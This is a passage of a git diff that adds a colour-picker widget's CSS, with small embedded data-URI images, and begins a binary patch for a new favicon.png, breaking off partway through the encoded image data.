+.sp-top { + margin-bottom: 3px +} + +.sp-color, +.sp-hue, +.sp-clear { + border: solid 1px #666 +} + +.sp-input-container { + float: right; + width: 100px; + margin-bottom: 4px +} + +.sp-initial-disabled .sp-input-container { + width: 100% +} + +.sp-input { + font-size: 12px !important; + border: 1px inset; + padding: 4px 5px; + margin: 0; + width: 100%; + background: transparent; + border-radius: 3px; + color: #222 +} + +.sp-input:focus { + border: 1px solid orange +} + +.sp-input.sp-validation-error { + border: 1px solid red; + background: #fdd +} + +.sp-picker-container, +.sp-palette-container { + float: left; + position: relative; + padding: 10px; + padding-bottom: 300px; + margin-bottom: -290px +} + +.sp-picker-container { + width: 172px; + border-left: solid 1px #fff +} + +.sp-palette-container { + border-right: solid 1px #ccc +} + +.sp-palette-only .sp-palette-container { + border: 0 +} + +.sp-palette .sp-thumb-el { + display: block; + position: relative; + float: left; + width: 24px; + height: 15px; + margin: 3px; + cursor: pointer; + border: solid 2px transparent +} + +.sp-palette .sp-thumb-el:hover, +.sp-palette .sp-thumb-el.sp-thumb-active { + border-color: orange +} + +.sp-thumb-el { + position: relative +} + +.sp-initial { + float: left; + border: solid 1px #333 +} + +.sp-initial span { + width: 30px; + height: 25px; + border: 0; + display: block; + float: left; + margin: 0 +} + +.sp-initial .sp-clear-display { + background-position: center +} + +.sp-palette-button-container, +.sp-button-container { + float: right +} + +.sp-replacer { + margin: 0; + overflow: hidden; + cursor: pointer; + padding: 4px; + display: inline-block; + *zoom: 1; + *display: inline; + border: solid 1px #91765d; + background: #eee; + color: #333; + vertical-align: middle +} + +.sp-replacer:hover, +.sp-replacer.sp-active { + border-color: #f0c49b; + color: #111 +} + +.sp-replacer.sp-disabled { + cursor: default; + border-color: silver; + color: silver +} + +.sp-dd { + padding: 2px 0; + height: 16px; + line-height: 16px; + float: left; + font-size: 10px +} + +.sp-preview { + position: relative; + width: 25px; + height: 20px; + border: solid 1px #222; + margin-right: 5px; + float: left; + z-index: 0 +} + +.sp-palette { + *width: 220px; + max-width: 220px +} + +.sp-palette .sp-thumb-el { + width: 16px; + height: 16px; + margin: 2px 1px; + border: solid 1px #d0d0d0 +} + +.sp-container { + padding-bottom: 0 +} + +.sp-container button { + background-color: #eee; + background-image: -webkit-linear-gradient(top, #eee, #ccc); + background-image: -moz-linear-gradient(top, #eee, #ccc); + background-image: -ms-linear-gradient(top, #eee, #ccc); + background-image: -o-linear-gradient(top, #eee, #ccc); + background-image: linear-gradient(to bottom, #eee, #ccc); + border: 1px solid #ccc; + border-bottom: 1px solid #bbb; + border-radius: 3px; + color: #333; + font-size: 14px; + line-height: 1; + padding: 5px 4px; + text-align: center; + text-shadow: 0 1px 0 #eee; + vertical-align: middle +} + +.sp-container button:hover { + background-color: #ddd; + background-image: -webkit-linear-gradient(top, #ddd, #bbb); + background-image: -moz-linear-gradient(top, #ddd, #bbb); + background-image: -ms-linear-gradient(top, #ddd, #bbb); + background-image: -o-linear-gradient(top, #ddd, #bbb); + background-image: linear-gradient(to bottom, #ddd, #bbb); + border: 1px solid #bbb; + border-bottom: 1px solid #999; + cursor: pointer; + text-shadow: 0 1px 0 #ddd +} + +.sp-container button:active { + border: 1px solid #aaa; + border-bottom: 1px solid #888; + -webkit-box-shadow: inset 0 0 5px 2px #aaa, 0 1px 0 0 #eee; + -moz-box-shadow: inset 0 0 5px 2px #aaa, 0 1px 0 0 #eee; + -ms-box-shadow: inset 0 0 5px 2px #aaa, 0 1px 0 0 #eee; + -o-box-shadow: inset 0 0 5px 2px #aaa, 0 1px 0 0 #eee; + box-shadow: inset 0 0 5px 2px #aaa, 0 1px 0 0 #eee +} + +.sp-cancel { + font-size: 11px; + color: #d93f3f !important; + margin: 0; + padding: 2px; + margin-right: 5px; + vertical-align: middle; + text-decoration: none +} + +.sp-cancel:hover { + color: #d93f3f !important; + text-decoration: underline +} + +.sp-palette span:hover, +.sp-palette span.sp-thumb-active { + border-color: #000 +} + +.sp-preview, +.sp-alpha, +.sp-thumb-el { + position: relative; + background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAMCAIAAADZF8uwAAAAGUlEQVQYV2M4gwH+YwCGIasIUwhT25BVBADtzYNYrHvv4gAAAABJRU5ErkJggg==) +} + +.sp-preview-inner, +.sp-alpha-inner, +.sp-thumb-inner { + display: block; + position: absolute; + top: 0; + left: 0; + bottom: 0; + right: 0 +} + +.sp-palette .sp-thumb-inner { + background-position: 50% 50%; + background-repeat: no-repeat +} + +.sp-palette .sp-thumb-light.sp-thumb-active .sp-thumb-inner { + background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAYAAABWzo5XAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAIVJREFUeNpiYBhsgJFMffxAXABlN5JruT4Q3wfi/0DsT64h8UD8HmpIPCWG/KemIfOJCUB+Aoacx6EGBZyHBqI+WsDCwuQ9mhxeg2A210Ntfo8klk9sOMijaURm7yc1UP2RNCMbKE9ODK1HM6iegYLkfx8pligC9lCD7KmRof0ZhjQACDAAceovrtpVBRkAAAAASUVORK5CYII=) +} + +.sp-palette .sp-thumb-dark.sp-thumb-active .sp-thumb-inner { + background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAYAAABWzo5XAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAadEVYdFNvZnR3YXJlAFBhaW50Lk5FVCB2My41LjEwMPRyoQAAAMdJREFUOE+tkgsNwzAMRMugEAahEAahEAZhEAqlEAZhEAohEAYh81X2dIm8fKpEspLGvudPOsUYpxE2BIJCroJmEW9qJ+MKaBFhEMNabSy9oIcIPwrB+afvAUFoK4H0tMaQ3XtlrggDhOVVMuT4E5MMG0FBbCEYzjYT7OxLEvIHQLY2zWwQ3D+9luyOQTfKDiFD3iUIfPk8VqrKjgAiSfGFPecrg6HN6m/iBcwiDAo7WiBeawa+Kwh7tZoSCGLMqwlSAzVDhoK+6vH4G0P5wdkAAAAASUVORK5CYII=) +} + +.sp-clear-display { + background-repeat: no-repeat; + background-position: center; + background-image: url(data:image/gif;base64,R0lGODlhFAAUAPcAAAAAAJmZmZ2dnZ6enqKioqOjo6SkpKWlpaampqenp6ioqKmpqaqqqqurq/Hx8fLy8vT09PX19ff39/j4+Pn5+fr6+vv7+wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAP8ALAAAAAAUABQAAAihAP9FoPCvoMGDBy08+EdhQAIJCCMybCDAAYUEARBAlFiQQoMABQhKUJBxY0SPICEYHBnggEmDKAuoPMjS5cGYMxHW3IiT478JJA8M/CjTZ0GgLRekNGpwAsYABHIypcAgQMsITDtWJYBR6NSqMico9cqR6tKfY7GeBCuVwlipDNmefAtTrkSzB1RaIAoXodsABiZAEFB06gIBWC1mLVgBa0AAOw==) +} \ No newline at end of file diff --git a/favicon.png b/favicon.png new file mode 100644 index 0000000000000000000000000000000000000000..e28370538bfb3d5f81f7fb87e696675f2ae2feb4 GIT binary patch literal 18107 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 